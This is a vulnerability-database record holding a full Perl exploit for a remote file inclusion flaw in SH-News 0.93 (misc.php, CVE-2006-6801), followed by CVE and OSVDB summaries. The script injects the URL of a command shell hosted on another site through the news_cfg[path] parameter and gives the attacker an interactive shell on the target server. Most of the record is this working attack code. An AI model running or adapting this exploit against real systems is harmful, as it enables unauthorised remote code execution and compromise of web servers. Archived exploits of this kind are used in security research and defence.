{"bulletinFamily": "exploit", "id": "EDB-ID:2984", "cvelist": ["CVE-2006-6801"], "modified": "2006-12-23T00:00:00", "lastseen": "2016-01-31T17:28:48", "edition": 1, "sourceData": "#!/usr/bin/perl\n#\n#SH-News 0.93 (misc.php) Remote File Include Exploit\n#\n#Download: http://www.scripthome.de/down.php?id=6\n#\n#Vulnerable Code: require \"{$news_cfg['path']}/german.inc.php\";\n#\n#Coded by bd0rk || SOH-Crew\n#\n#Usage: shnews.pl [target] [cmd shell] [shell variable]\n#\n#Greetings: str0ke, TheJT, Kacper, rgod\n#\n#\n\nuse LWP::UserAgent;\n\n$Path = $ARGV[0];\n$Pathtocmd = $ARGV[1];\n$cmdv = $ARGV[2];\n\nif($Path!~/http:\\/\\// || $Pathtocmd!~/http:\\/\\// || !$cmdv){usage()}\n\nhead();\n\nwhile()\n{\n print \"[shell] \\$\";\nwhile(<STDIN>)\n {\n $cmd=$_;\n chomp($cmd);\n\n$xpl = LWP::UserAgent->new() or die;\n$req = HTTP::Request->new(GET =>$Path.'misc.php?news_cfg[path]='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die \"\\nCould Not connect\\n\";\n\n$res = $xpl->request($req);\n$return = $res->content;\n$return =~ tr/[\\n]/[....]/;\n\nif (!$cmd) {print \"\\nPlease Enter a Command\\n\\n\"; $return =\"\";}\n\nelsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)\n {print \"\\nCould Not Connect to cmd Host or Invalid Command Variable\\n\";exit}\nelsif ($return =~/^<br.\\/>.<b>Fatal.error/) {print \"\\nInvalid Command or No Return\\n\\n\"}\n\nif($return =~ /(.*)/)\n\n\n{\n $finreturn = $1;\n $finreturn=~ tr/[....]/[\\n]/;\n print \"\\r\\n$finreturn\\n\\r\";\n last;\n}\n\nelse {print \"[shell] \\$\";}}}last;\n\nsub head()\n {\n print \"\\n============================================================================\\r\\n\";\n print \" *SH-News 0.93 (misc.php) Remote File Include Exploit*\\r\\n\";\n print \"============================================================================\\r\\n\";\n }\nsub usage()\n {\n head();\n print \" Usage: shnews.pl [target] [cmd shell location] [cmd shell variable]\\r\\n\\n\";\n print \" <Site> - Full path to SHNews ex: http://www.site.com/ \\r\\n\";\n print \" <cmd shell> - Path to cmd Shell e.g http://www.different-site.com/cmd.txt \\r\\n\";\n print \" <cmd variable> - Command variable used in php shell \\r\\n\";\n print \"============================================================================\\r\\n\";\n print \" Bug Found by bd0rk \\r\\n\";\n print \" www.soh-crew.it.tt \\r\\n\";\n print \"============================================================================\\r\\n\";\n exit();\n }\n\n# milw0rm.com [2006-12-23]\n", "published": "2006-12-23T00:00:00", "href": "https://www.exploit-db.com/exploits/2984/", "osvdbidlist": ["32488"], "reporter": "bd0rk", "hash": "3d3b85885aa994824ee952ce2c62a24f57df372129fd7e6e8670584587bdcc2d", "title": "SH-News 0.93 misc.php Remote File Include Exploit", "history": [], "type": "exploitdb", "objectVersion": "1.0", "description": "SH-News 0.93 (misc.php) Remote File Include Exploit. CVE-2006-6801. Webapps exploit for php platform", "references": [], "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "sourceHref": "https://www.exploit-db.com/download/2984/", "enchantments": {"vulnersScore": 6.0}}

{"result": {"cve": [{"id": "CVE-2006-6801", "type": "cve", "title": "CVE-2006-6801", "description": "PHP remote file inclusion vulnerability in misc.php in SH-News 0.93, when register_globals is enabled, allows remote attackers to execute arbitrary PHP code via the news_cfg[path] parameter.", "published": "2006-12-28T16:28:00", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2006-6801", "cvelist": ["CVE-2006-6801"], "lastseen": "2016-09-03T08:05:19"}], "osvdb": [{"id": "OSVDB:32488", "type": "osvdb", "title": "SH-News misc.php news_cfg Variable Remote File Inclusion", "description": "## Technical Description\nThis vulnerability is only present when the register_globals PHP option is set to 'on'. This has not been the default setting for PHP installs since version 4.2.0 (22-Apr-2002).\n## References:\n[Secunia Advisory ID:23524](https://secuniaresearch.flexerasoftware.com/advisories/23524/)\nGeneric Exploit URL: http://www.milw0rm.com/exploits/2984\nFrSIRT Advisory: ADV-2006-5161\n[CVE-2006-6801](https://vulners.com/cve/CVE-2006-6801)\nBugtraq ID: 21761\n", "published": "2006-12-23T08:03:49", "cvss": {"score": 6.8, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:PARTIAL/I:PARTIAL/A:PARTIAL/"}, "href": "https://vulners.com/osvdb/OSVDB:32488", "cvelist": ["CVE-2006-6801"], "lastseen": "2017-04-28T13:20:28"}]}}